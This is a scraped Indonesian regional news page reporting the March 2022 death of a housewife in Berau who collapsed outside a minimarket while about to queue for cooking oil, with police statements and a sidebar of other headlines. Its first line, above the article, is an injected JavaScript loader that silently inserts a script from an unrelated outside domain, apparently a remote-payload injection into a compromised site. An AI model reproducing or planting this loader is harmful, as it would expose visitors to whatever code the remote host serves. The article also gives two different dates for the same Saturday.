(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Hendak Antre Migor, Ibu Rumah Tangga di Berau Meninggal Dunia


KANALKALIMANTAN.COM – Seorang Ibu Rumah Tangga (IRT) bernama Sandra (41) warga Jalan Kampung Cina, Gang Empat, Kecamatan Teluk Bayur, Kabupaten Berau, dikabarkan meninggal dunia saat hendak mengantre minyak goreng, Sabtu (12/3/2022).

Kabar adanya pengantre minyak goreng yang meninggal tersebut, sempat viral melalui media sosial (medsos) milik Anjelina Minori. Lalu diunggah oleh akun-akun informasi, salah satunya @berauterkini.

Kejadian tersebut bermula sekitar pukul 07.45 Wita. Korban bersama para saksi dan warga lainnya datang ke minimarket Alfamidi yang saat itu belum buka. Kedatangan mereka tak lain untuk mengantre minyak goreng (Migor).

Namun salah satu saksi mengaku, pada saat berada di depan Alfamidi, korban mengalami batuk dan tiba-tiba langsung terkapar.

 

 

Baca juga: Minyak Goreng Langka, Modus Toko Modern di Banjarbaru Jual Migor Paket Bundling

“Jadi dari pengakuan saksi bernama Anjelina (38) dan Sriwahyuni (41), si korban (Sandra) ini batuk-batuk, kemudian langsung pingsan,” ungkap Kapolsek Teluk Bayur, AKP Kasiyono, Sabtu (11/3/2022) siang.

AKP Kasiyono menjelaskan, rumah korban berjarak sekitar 80 meter dari TKP. Saat tiba di lokasi, korban pun langsung lemas dan terjatuh.

“Dari hasil pemeriksaan sementara korban ini diduga memiliki penyakit asma. Dan menurut keterangan dari suami korban, korban sudah merasakan sesak di dada. Namun korban tetap menuju lokasi untuk membeli minyak goreng,” jelasnya.

“Namun mereka ini sama sekali belum mengantre atau berdesak-desakkan. tetapi baru sampai toko kemudian langsung terjatuh,” sambungnya.

Korban langsung dibawa menuju RSUD Abdul Rivai, Tanjung Redeb. Namun, pada saat dalam perjalanan korban dinyatakan meninggal dunia.

Baca juga: Hanya Gara-gara Curi Mangga, Pemuda di Kubu Raya Tewas Dipukuli Massa

“Iya, korban langsung dibawa menuju rumah sakit untuk mendapatkan perawatan insentif. Namun pada saat dalam perjalanan korban meninggal dunia pihak keluarga menolak untuk dilakukan visum,” pungkasnya. (Kanalkalimantan.com/Suara.com/Apriskian Tauda Parulian)

Editor : kk


Risa

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

1 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

3 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

4 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

4 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

6 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

6 jam ago

This website uses cookies.